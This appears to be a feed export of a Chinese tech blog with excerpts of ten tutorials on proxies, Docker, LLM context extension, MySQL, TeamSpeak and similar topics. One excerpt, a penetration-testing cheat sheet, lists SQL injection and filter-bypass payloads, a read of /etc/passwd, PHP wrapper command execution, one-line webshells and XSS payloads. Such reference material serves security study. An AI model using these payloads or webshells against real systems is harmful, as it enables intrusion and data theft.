秋深的池塘 - 技巧杂烩
type: channel
link: https://blog.deepfal.cn/index.php/category/share/
items: Docker 部署 Mihomo (Clash Meta) 核心 + WebUI 指南
items: Qwen3模型YaRN长文本扩展技术深度解析
items: 自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
items: MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
items: [Python] jieba+wordcloud 词频可视化
items: 安利一款Hansome主题专用的UserAgent插件
items: 渗透测试备忘录
items: TeamSpeak3 使用指南 (新手向)
items: teamspeak3 找回管理员权限秘钥
items: [2021-8-19可用]阿里云盘获取refresh_token方式

Docker 部署 Mihomo (Clash Meta) 核心 + WebUI 指南
type: item
date: 2025-12-11T14:14:00+08:00
description: 流程概览 前言 Mihomo（原名 Mihomo Meta，亦即 Clash Meta）是目前 Clash 核心最活跃、功能最强大的分支。由于原始 Clash 项目删库，Mihomo 已成为各平台客户端的首选核心。 值得注意的是，Mihomo 本身是一个纯命令行程序（Core），没有图形界面。为了方便日常管理和监控，我们需要为其搭配一个 Web UI（如 Metacubexd）。本文将详细介绍如何在 Docker 环境（包括 Linux 服务器、NAS、飞牛OS等）中优雅地部署 Mihomo + WebUI，并开启 TUN 模式实现更接管更底层的流量。 准备工作 在开始之前，请确保您的环境满足以下条件： Docker 环境：已安装 Docker 及 Docker Compose。 基础知识：熟悉基本的命令行操作（创建文件夹、编辑文件）。 网络环境：拥有可用的节点订阅链接。 第一步：编写配置文件 (config.yaml) Mihomo 的运行核心在于配置文件。我们需要先在宿主机上准备好这个文件。 新建一个文件夹，命名为 mihomo。 在其中创建一个名为 config.yaml 的文件。 参考以下模板填入内容。 ⚠️ 重点修改提示： 请务必修改下方模板中的 第 7 行（API访问密钥）、第 20、21 行（节点订阅信息）与 第 26 行（节点名称前缀）。修改时请去掉尖括号 < >。 mixed-port: 7890 allow-lan: true bind-address: '*' mode: rule log-level: info external-controller: '0.0.0.0:9090' secret: "<API访问密钥>" tun: enable: false stack: mixed dns-hijack: - "any:53" - "tcp://any:53" auto-route: true auto-redirect: true auto-detect-interface: true proxy-providers: <节点提供者名称>: url: "<节点订阅链接>" type: http interval: 86400 health-check: {enable: true,url: "https://www.gstatic.com/generate_204", interval: 300} override: additional-prefix: "<节点名称前缀>" proxies: - name: "直连" type: direct udp: true geodata-mode: true geox-url: geoip: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geoip.dat" geosite: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geosite.dat" mmdb: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/country-lite.mmdb" asn: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/GeoLite2-ASN.mmdb" dns: enable: true ipv6: true respect-rules: true enhanced-mode: fake-ip fake-ip-filter: - "*" - "+.lan" - "+.local" - "+.market.xiaomi.com" nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query proxy-server-nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query nameserver-policy: "geosite:cn,private": - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query "geosite:geolocation-!cn": - "https://dns.cloudflare.com/dns-query" - "https://…

Qwen3模型YaRN长文本扩展技术深度解析
type: item
date: 2025-08-15T14:08:00+08:00
description: Qwen3 模型原生支持 32,768 个 token 的上下文长度。对于超出此限制的长文本，官方推荐使用 YaRN (Yet another RoPE-based Neural network scaling) 扩展技术。YaRN 是一种基于旋转位置编码（RoPE）的扩展方法，已验证可将上下文长度扩展至 131,072 个 token，并被 transformers、llama.cpp、vllm 和 sglang 等多个推理框架支持。 要启用 YaRN，需配置以下关键参数： rope_scaling: 一个配置 RoPE 缩放策略的字典。 rope_type: 字符串类型，指定缩放类型。启用 YaRN 时，其值为 "yarn"。 factor: 浮点数，定义上下文窗口扩展的倍数。例如，4.0 表示将原始长度扩展四倍。 original_max_position_embeddings: 整数，表示模型的原始最大上下文长度，对于 Qwen3，其值为 32768。 max_model_len: 整数，最终设置的模型最大上下文长度，应与 factor 的乘积相匹配。 解决方案：两种配置方式 根据官方文档，有以下两种主要方法来启用 YaRN。 1. 修改模型配置文件（推荐） 这是最直接且不易出错的方法，完全规避了命令行参数解析的复杂性。 定位文件: 打开 Qwen3 模型目录下的 config.json 文件。 添加配置: 在文件中添加或修改 rope_scaling 字段，并设置 max_model_len。 JSON "rope_scaling": { "rope_type": "yarn", "factor": 4.0, "original_max_position_embeddings": 32768 }, "max_model_len": 131072 这种方法配置一次即可永久生效，特别适用于生产环境部署。 2. 命令行参数传递 对于不同的推理框架，命令行参数的格式有所不同。 vLLM: Bash VLLM_USE_MODELSCOPE=true vllm serve ... --rope-scaling '{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}' --max-model-len 131072 sglang: Bash SGLANG_USE_MODELSCOPE=true python -m sglang.launch_server ... --json-model-override-args '{"rope_scaling":{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}}' llama.cpp: Bash llama-server ... --rope-scaling yarn --rope-scale 4 --yarn-orig-ctx 32768 命令行参数的格式因框架而异，需特别注意。 推荐模型参数与最佳实践 在启用 YaRN 长文本支持后，为了获得最佳推理效果，还需关注以下生成参数和最佳实践： 采样参数 对于思考模式（enable_thinking=True），使用 Temperature=0.6、TopP=0.95、TopK=20 和 MinP=0。不要使用贪婪解码，因为它可能导致性能下降和无尽的重复。 对于非思考模式（enable_thinking=False），我们建议使用 Temperature=0.7、TopP=0.8、TopK=20 和 MinP=0。 对于支持的框架，您可以将 presence_penalty 参数调整在 0 到 2 之间以减少无尽的重复。然而，使用较高的值偶尔会导致语言混杂和模型性能轻微下降。 其他重要提示 性能考量: 大部分开源框架都实现了静态 YaRN。我们建议仅在需要处理长上下文时才启用 YaRN，因为它可能影响处理较短文本时的性能。 factor 调整: 官方建议根据典型上下文长度调整 factor，例如，若应用场景的上下文长度通常为 65,536 个 token，则将 factor 设置为 2.0。 版本兼容性: 若遇到 Unrecognized keys in rope_scaling 警告，请升级 transformers 至 4.51.0 或更高版本。 显存需求: 扩展上下文长度会显著增加显存消耗。处理 131,072 个 token 的文本可能需要比原生长度多占用 30-40% 的显存。 输出长度: 对于大多数查询，建议设置 32,768 个 token …

自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
type: item
date: 2025-01-16T15:42:00+08:00
description: 搭建 Tailscale DERP 服务器教程 Tailscale DERP（Distributed, Encrypted, and Resilient Packet Relay）服务器是 Tailscale 网络中用于中继流量的组件，尤其适用于网络环境复杂或直连困难的场景，但是国内网络连接官方提供的derp服务器时普遍存在延迟高，速度慢，甚至几乎无法使用的情况。所以产生了自建私有derp流量中转服务器的需求，以便在p2p无法直连打洞成功的场景下能够实现和使用低延迟，高速度的tailscale流量中继服务。以下是使用 Docker 搭建 Tailscale DERP 服务器的详细步骤： 环境准备 操作系统：推荐使用 Linux 系统，如 Ubuntu、Debian 等，因为 Docker 在 Linux 上的性能和兼容性更佳。 Docker 环境：确保已安装 Docker。可以通过运行 docker --version 命令来检查 Docker 是否已安装。 Tailscale 客户端：在宿主机上安装并启动 Tailscale 客户端，以便 DERP服务器能够与 Tailscale 网络通信。 网络配置：确保服务器的网络配置正确，能够正常访问外网，且对应的端口没有被防火墙阻止。 搭建步骤 1. 安装并启动 Tailscale 客户端 在宿主机上安装 Tailscale 客户端，并启动它。安装方法因操作系统而异，具体可以参考 Tailscale 官方文档。 启动 Tailscale 客户端后，它会在 /var/run/tailscale 目录下创建一个名为 tailscaled.sock 的套接字文件。 2. 拉取 Docker 镜像 从 Docker Hub 拉取 javaow/tailscale-derp 镜像。该镜像已经包含了搭建 DERP服务器所需的全部依赖和配置。 docker pull javaow/tailscale-derp 3. 运行 DERP服务器容器 使用以下命令启动 DERP服务器容器。该命令会将 DERP服务器映射到宿主机的指定端口，并挂载必要的文件和目录。 docker run -d \ --name tailscale-derp \ -p 0.0.0.0:59443:36666 \ -p 0.0.0.0:3478:3478/udp \ -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock \ javaow/tailscale-derp \ ./derper \ -hostname "derp.javaow.com" \ -a ":36666" \ -certmode "manual" \ -certdir "/ssl" \ --verify-clients 参数解释 -d：后台运行容器。 --name tailscale-derp：指定容器名称为 tailscale-derp。 -p 0.0.0.0:59443:36666：将容器的 36666 端口映射到宿主机的 59443 端口，允许外部访问。 -p 0.0.0.0:3478:3478/udp：将容器的 3478 端口映射到宿主机的 3478 端口，用于 UDP 通信。 -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock：将宿主机的 Tailscale 套接字文件挂载到容器中，以便 DERP服务器与 Tailscale 守护进程通信。 javaow/tailscale-derp：指定使用的 Docker 镜像。 ./derper：指定容器启动时运行的命令。 -hostname "derp.javaow.com"：设置 DERP服务器的主机名。 -a ":36666"：指定 DERP服务器监听的端口。 -certmode "manual"：指定证书模式为手动。 -certdir "/ssl"：指定证书目录。 --verify-clients：启用客户端验证。 4. 验证 DERP服务器状态 启动容器后，可以通过以下命令查看 DERP服务器的运行状态： docker logs tailscale-derp 如果看到类似 DERP server started 的日志信息，表示 DERP服务器已成功启动。 5. 配置 Tailscale 客户端 在 Tailscale 客户端的配置文件中，添加自建 DERP服务器的信息。具体配置方法如下： { "derpMap": { "OmitDefaultRegions": false, "Regions": { "910": { …

MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
type: item
date: 2023-08-18T14:14:00+08:00
description: MySQL经典四表查询(教师，学生，成绩，课程表)多表查询 1、表架构呈现 student(sid,sname,sage,ssex) 学生表 teacher(tid,tname) 教师表 course(cid,cname,tid) 课程表 sc(sid,cid,score) 成绩表 2、建表SQL语句并插入数据 -- 1.学生表 CREATE TABLE student( sid INT PRIMARY KEY AUTO_INCREMENT, sname VARCHAR(20), sage DATE, ssex ENUM ('男','女') ); -- 2.课程表中使用了外键教师编号，因而需要先建立教师表 CREATE TABLE teacher( tid INT PRIMARY KEY AUTO_INCREMENT, tname VARCHAR(20) ); -- 3.建立课程表 CREATE TABLE course( cid INT PRIMARY KEY AUTO_INCREMENT, cname VARCHAR(20), tid INT, FOREIGN KEY (tid) REFERENCES teacher (tid) ); -- 4.建立成绩表 CREATE TABLE sc( sid INT, cid INT, score INT ); -- 先给student表插入数据 INSERT INTO student VALUES (1,'赵雷','1990-01-01','男'), (2,'钱电','1990-12-21','男'), (3,'孙风','1990-05-20','男'), (4,'李云','1990-08-06','男'), (5,'周梅','1991-12-01','女'), (6,'吴兰','1992-03-01','女'), (7,'郑竹','1989-07-01','女'), (8,'王菊','1990-01-20','女'); -- 给teacher表插入数据,这里不可以先给course表插入数据,因为course表外键连接到teacher的主键 INSERT INTO teacher VALUES(1,'张三'),(2,'李四'),(3,'王五'); -- 给course表插入数据 INSERT INTO course VALUES(1,'语文',2),(2,'数学',1),(3,'英语',3); -- 最后给sc表插入数据 INSERT INTO sc VALUES(1,1,90),(1,2,80),(1,3,90),(2,1,70),(2,2,60),(2,3,80),(3,1,80), (3,2,80),(3,3,80),(4,1,50),(4,2,30),(4,3,20),(5,1,76),(5,2,87),(6,1,31),(6,3,34),(7,2,89),(7,3,98); 3、问题集锦 （1）查询 1 课程比 2 课程成绩高的学生的信息及课程分数 SELECT s.sid,s.sname,s.sage,s.ssex,sc1.score,sc2.score FROM student s ,sc sc1,sc sc2 WHERE sc1.`cid` = 1 AND sc2.`cid` = 2 AND sc1.`score` > sc2.`score` AND sc1.`sid` = s.`sid`AND sc2.`sid` = s.`sid`; （2）查询平均成绩大于等于60分的同学的学生编号和学生姓名和平均成绩 SELECT s.sid,s.sname,AVG(sc1.`score`) AS 'avg_score' FROM student s ,sc sc1 WHERE s.sid = sc1.`sid` GROUP BY s.sid HAVING avg_score >= 60 ORDER BY avg_score DESC; （3）查询名字中含有"风"字的学生信息 SELECT s.sid,s.sname,s.sage,s.ssex FROM student s WHERE sname LIKE '%风%'; （4）查询课程名称为"数学"，且分数低于60的学生姓名和分数 SELECT s.sname,sc1.score FROM student s ,sc sc1 WHERE s.sid = sc1.sid AND cid = 2 AND sc1.score < 60; （5）查询所有学生的课程及分数情况 SELECT sc1.sid,c.cname,sc1.score FROM course c,sc sc1 WHERE c.cid = sc1.cid; （6）查…

[Python] jieba+wordcloud 词频可视化
type: item
date: 2022-04-10T02:23:00+08:00
description: 案例实操 准备资源 导入所需库import wordcloud import jieba 准备好源文件，屏蔽词文件，备用字体font_path = 'C:\Windows\Fonts\时尚中黑简体.ttf' file_path = '新建文本文档.txt' fake_path = 'stop_key.txt' 自定义变量alist = [] # btext = '' # fake_set = {1} #第三方屏蔽列集合 #根据文档特殊性而设计的自定义屏蔽词 stop_words = {'我们','这个','一个','可以','下来','这样','就是','用来', '非常','然后','这里','非常','大家','时候','上面','里面', '放在','首先','准备','出来','很多','其实','一些','拿出','还有','如果'} 读取数据集 #读入源文档 with open(file_path,'r',encoding='GBK',errors='ignore')as f: text = f.read() #type（text）:str #ignore errors #读入屏蔽词 with open (fake_path,'r',encoding='utf-8')as f: fake_data = f.readlines() #屏蔽词文件中，每一个词汇独占一行，因此逐行读取 #type（fake_data） is list. 这个列表里的每个元素都是str for i in fake_data: #遍历屏蔽词列表，每个i都是一个屏蔽词 fake_set.add(i.strip()) #将屏蔽词加入集合，集合具有无序独立性，会自动排除重复词 #扩充屏蔽词库 fake_set = fake_set|stop_words 分词 #alist装填分词句 for i in jieba.cut(text,cut_all=False): #text是源文档 #切分采用精确模式 #jieba.cut（）返回一个generate对象，使用for语句可以遍历此对象 #每一个i都是一个str alist.append(i.strip()) #循环结束后，alist列表里的若干个元素，都是通过jieba分好的词 # 剔除屏蔽词 for word in alist: #alist是一个装填分词的列表，里面的每一个元素都来自源文档 if word not in fake_set: #如果遍历到的词汇不是屏蔽词，那么就把这词接入btext btext += word btext +='/' #每个分词之间用/断开 #btext变量是一个较长的且已过滤屏蔽词的字符串str，每个分词之间由'/'断开 生成词云 # 实例化 wc = wordcloud.WordCloud(font_path=font_path, width=1920, height=1080, background_color="white") # 传入 str 对象 # 此处给 generate 传入的参数 btext 已手动除杂，无需在 wordcloud 的实例化参数中指明 stopwords wc.generate(btext) file = wc.to_file('11111.jpg') image = wc.to_image(） image.show() Demo 手动爬取 15 个沙雕营销号生活妙用视频文案，利用 jieba + wordcloud 统计高频词。 问题总结 文件读写统一编码格式 错误案例：读取多个编码格式不同的文件时，使用了统一的解码格式，导致文本乱码或屏蔽失效。 例如：屏蔽词文件 stop_key.txt 编码为 GBK，源文件 raw_text.txt 编码为 UTF-8。一开始写函数并没有注意到这个细节，而后整个程序的读文件操作都通过一个 read_file() function 进行，导致整个程序陷入了无限报错之中，拆东墙补西墙。 解决方案：给 read_file() function 自定义参数 mode，进而针对特殊编码的文件单独控制 encoding。 ps：此处分别用两个 open 强调文件编码不同 ps：在我没意识到文件编码异常之前，一直在调整统一的 encoding 试错，从 UTF-8 到 GBK 再到 GB18030，显然都不能解决问题。如果通过设置 errors=ignore 强行忽视非法编码，要么导致源文文本乱码，要么就会在词库过滤时发现 stop_words 集合并没有起作用（原因一致）。由此引发的 Error 信息如下。 UnicodeDecodeError: 'gbk' codec can't decode byt…

安利一款Hansome主题专用的UserAgent插件
type: item
date: 2022-04-03T17:56:00+08:00
description: 食用指南 操作前请做好相应备份工作 此插件只适用于Handsome主题，未对其它主题优化！！！ 请先将插件置于Typecho的plugins目录下，且插件目录名应为UserAgent，注意大小写，否则将无法正常食用！！！ 修改Handsome主题，component目录下的comments.php代码文件，大概第60~80行左右， <?php echo $author; ?><?php echo $Identity; ?> 添加代码<?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> ，修改后代码如下： <?php echo $author; ?><?php echo $Identity; ?><?php UserAgent_Plugin::get_useragent($comments->agent,$comments->ip); ?> 获取真实IP Typecho开启CDN后，可能无法获取访客真实IP，只能取得CDN节点IP，为此可以在Typecho博客网站的根目录的config.inc.php插入下面的代码： //** 防止CDN造成无法获取客户真实IP地址 */ if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $list = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $list[0]; } [button color="info" icon="" url="https://pan.deepfal.cn/api/v3/file/source/8857/UserAgent.zip?sign=GJ2gpWXltFLgkZet4q0LFk0WfcekZuGKLMdF_lVbZXw%3D%3A0" type="round"]下载插件[/button]

渗透测试备忘录
type: item
date: 2022-04-03T16:48:00+08:00
description: 本文章仅作技术研究，请勿用作非法途径! Web SQL Inject 联合查询爆显示位 union select 1,user(),3 联合查询爆表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 联合查询爆字段名 union select 1,2,group_concat(column_name) from information_schema.column where table_schema='users' --+ 联合查询爆字段值 union select 1,username,password from `key` --+ 万能密码 admin' or'1'='1' 布尔盲注测试 and length(database())=4 --+ 时间盲注测试 or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+ floor报错注入 select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); extractvalue报错注入 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); info outfile写文件 select '<?php phpinfo();?>' into outfile '/var/www/html' load_file 读文件 union select load_file('/etc/passwd') access and (select count(*) from msysobjects)>0 and 1=1 mssql and (select count(*) from sysobjects)>0 and 1=1 oracle and (select count(*) from sys.user_tables)>0 and 1=1 Bypass 大小写 uNIoN sELecT 1,2,3 空格绕过 /**/%55nION/**/%53ElecT/**/1,2,3Select(user())from test where id=1 and 1=1; 内联注释 /*!UNION*/+/*!SELECT*/+1,2,3/*UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()--- 双写绕过 UNIunionON+SELselectECT+1,2,3 编码绕过 URLEncode编码：or 1=1即%6f%72%20%31%3d%31 ASCII编码： Test：CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116) 十六进制编码：SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) PHP伪协议 php伪协议，以base64编码输出 php://filter/read=convert.base64-encode/resource=index.php php伪协议，以base64编码写入 php://filter/write=convert.base64-decode/resource=xx.php data协议命令执行 data:text/plain,<?php system('whoami');?> 一句话木马 php <?php eval($_POST['pwd']);?> asp <%execute(request('pwd'))%> aspx <% @Page Language='jscript'%><%eval(Request.Item['pwd'],'unsafe');%> 生成图片马 copy 1.jpg /b + 1.php /b shell.php XSS Payload alert(document.cookie)</script ' onmouseover='alert(/xss/) " onclick="alert(/xss/) javascript:al…

TeamSpeak3 使用指南 (新手向)
type: item
date: 2021-10-28T19:17:00+08:00
description: 什么是 TeamSpeak TeamSpeak (简称TS) 是一套专有的VoIP软件，使用者可以用耳机和麦克风，通过客户端软件连线到指定的服务器，与在服务器内频道的其他使用者进行通话。是一种很像电话会议的方式。 通常 TeamSpeak 的使用者大多为多人连线游戏的玩家，与同队伍的玩家进行通讯。在游戏的对战方面，语音对话通讯具有竞争优势。 简单来说，就是一款语音软件，那么有的人可能会问了，那我为什么不直接使用游戏内的语音软件，或者其他的，例如 Discord 或者 YY语音呢？ 为什么我们使用 TeamSpeak 为什么不用 YY 语音 首先，先说一下广告方面，用过 YY 的用户可能都知道上面满屏幕的广告，但是 TeamSpeak 和 Discord 并没有广告。 其次，捆绑软件方面，Discord没有捆绑， TeamSpeak 在安装时会询问是否安装 Overwolf (可选项，此软件为游戏内覆盖层，可在游戏内查看当前说话的用户)，而安装 YY 后，同时会捆绑 YY浏览器等软件。 第三，YY 并不支持感应麦，即达到一定分贝才会录入。 另外，不知道是否还有人记得，在17年年底的某会期间，YY屏蔽了海外用户的登陆。这一条也是我的一部分朋友转战 TeamSpeak 的原因。 为什么不用 Discord 这个原因很简单，被墙了，国内的小伙伴上不了，而且一般情况下，连接服务器后，延迟方面的问题也比较严重，我们也自然只能 Pass 掉它了。 为什么使用 TeamSpeak 首先 TeamSpeak 没有广告，没有捆绑软件，和 Discord 一样支持游戏内覆盖层，也可以单独调节每个用户的音量大小等等等等。至于服务器方面，TeamSpeak 的服务器一般都是自行租赁或架设的。 除此之外，在系统占用，语音质量，语音延迟方面，也完胜Discord 和 YY。如果您想的话，甚至可以在自己的内网搭建一台 TeamSpeak 服务器。 使用方法 下面来说说使用方法，此处会从安装开始说起，以方便新用户进行使用。 第一步，下载 TeamSpeak 此处可以前往 TeamSpeak 官网 teamspeak.com 进行下载，也可以通过我的转存地址进行下载，解决国内在官网下载速度过慢的问题 转存地址 橡木箱子 安装过程不需要过多的解释，一直往下就可以 其中 Overwolf 安装后，正如我上面所说的，可以在游戏内显示当前说话的用户，得知哪位用户进入/离开了当前频道等等… 安装完成后，打开 TeamSpeak ，会提示登录 myTeamSpeak 账号。(可选是否登录，个人建议登录一下) myTeamSpeak 账号的用途是同步书签，身份和配置等信息，比如在语音服务器获取的权限等等。 连接至服务器 点击主界面上面的 Connection - Connect，在 Server Nickname or Address 位置输入服务器地址， Nickname 位置输入昵称后，点击 Connect 即可。 也可在安装中文语言包后进行操作。 我们的 TeamSpeak 服务器地址 ts.lp1.net TeamSpeak 中文语言包 目前，我正在和寂听联手制作中文语言包，到目前为止，还处于早期阶段，但是基本界面的翻译基本完成，所以也可以拿来直接使用。 下载地址 https://github.com/jitingcn/TS3-Translation_zh-CN/releases 下载 Chinese_Translation_zh-CN.ts3_translation 并按照提示进行安装即可。 常见问题 以下内容的中文翻译将会尽量与上方最新版中文语言包相同 Q1 设置感应麦 点击 工具(Tools) ，打开 设置(Options) 菜单目录 ，选择 音频输入(Capture) 选项卡。 可以在右侧的 配置(Profile) 中看到 语音感应激活(Capture Voice Activation)选项，模式选择 Volume Gate。 下方的滑杆代表灵敏度，您可以通过 点击 开始测试(Begin test) 进行测试。 一般情况下，推荐打开下方的回声抑制(Echo reduction) 回声消除(Echo cancellation) 以及 高级选项(Advanced Options) ，但具体请根据个人情况及设备的不同，自行判断。 Q1.1 说话别人只能听到后半句 / 录入过多杂音 一般此情况为灵敏度配置不当导致的。 通过调节 Q1 中提到的滑杆，滑杆越往左越灵敏，不断地测试，找到适合自己的灵敏度即可解决此问题。 Q2 使用 TeamViewer 时 TeamSpeak 声音变小的问题 不得不说，这个问题，确实困扰了我很久，直到前几天，偶然发现了解决问题的办法 202…

teamspeak3 找回管理员权限秘钥
type: item
date: 2021-10-04T01:52:00+08:00
description: 找回服务器管理权限 如果你拥有server query的访问权限，请直接跳至步骤5. 如果你拥有server query的密码但却不记得用户名，请记住server query默认的用户名为serveradmin，然后请跳至步骤5. 进入服务器TeamSpeak 3所在的文件夹 cd /opt/teamspeak3-server_linux_amd64 首先关闭TeamSpeak 3服务。如果已经把TeamSpeak 3作为服务添加到系统里，请停止服务： systemctl stop teamspeak.service 如果没有作为服务运行，请执行以下来停止TeamSpeak 3： ./ts3server_startscript.sh stop 用以下命令启动TeamSpeak 3服务端： ./ts3server_minimal_runscript.sh serveradmin_password=yOuR_nEwP@ssw0rd ``` 这一步操作会重置你的serveradmin密码，请自行替换yOuR_nEwP@ssw0rd为你想要的密码。 打开任意telnet客户端，比如XShell. telnet 你的服务器IP:10011 login serveradmin yOuR_nEwP@ssw0rd 密码是你刚刚重设的密码 选择teamSpeak instance，默认为1, use 1并回车 现在输入以下命令来生成token tokenadd tokentype=0 tokenid1=6 tokenid2=0 这一步会生成新的token并打印在telnet客户端界面，复制好后进入客户端，连接到你自己的服务器， 然后选择“权限” --> “使用权限秘钥”，完成！ 在此之后关闭./ts3server_minimal_runscript.sh，使用你正常的方式启动TeamSpeak 3服务端即可。 全部过程请参考下图，，一定要记得先输入 use 1来选择默认的TeamSpeak instance哦！图中展示的是token生成的全过程 如何避免服务器权限丢失？ 在获取服务器权限以后登录TeamSpeak 3客户端并连接服务器，在“权限” --> “权限秘钥”创建一个新的服务器组Server Admin的密钥（Privilege Key）并保存好，以备不时之需。 使用myTeamSpeak账号自动同步自己的管理员权限，具体设置在客户端的“工具” --> “设置” --> “myTeamSpeak”中可以找到。

[2021-8-19可用]阿里云盘获取refresh_token方式
type: item
date: 2021-08-19T16:26:00+08:00
description: 获取阿里云盘refresh_token用来干嘛？ 搭建目录文件需要抓取阿里云盘的 re­fresh_­to­ken，通过阿里云盘官网抓包等其他方法已无法获取或获取到的token无法正常使用，很多人不知道该怎么获取而放弃挂载，故而分享一下最新的获取方法。 需要准备的工具 pc 端：主流浏览器，阿里云盘账号 获取方法 打开以下链接，pc 端 F12 选择 net­work (网络)，勾选 Pre­serve log (不清除登录页面刷新 / 导航) https://passport.aliyundrive.com/mini_login.htm?lang=zh_cn&appName=aliyun_drive&appEntrance=web 选择扫码登陆，观察右侧的数据包瀑布流，当选择到扫码登录后每秒都会有一组(2个)检测登录的心跳包持续响应 可以在瀑布流上点击最右侧(最新)的绿点来观察该时间节点的数据包。 使用手机扫码并确认登陆，之后持续响应的数据包会停止发送，在瀑布流中找到最后一次响应的一组数据包(就是绿色的小点)，鼠标点击两个包(绿点)重叠的部分，下方就会显示出两个数据包的状态信息，点击query.do开头的数据包 打开数据包后点击响应(preview),在右边的一长串数据中找到 bizExt 的值，将该值完整的复制下来 该值是通过base64加密的，所需要的refresh_token就藏在这段加密字符串中，需要将其解密 打开以下链接进行 base64 解码，如图所示，即可获取 re­fresh_­to­ken https://base64.us/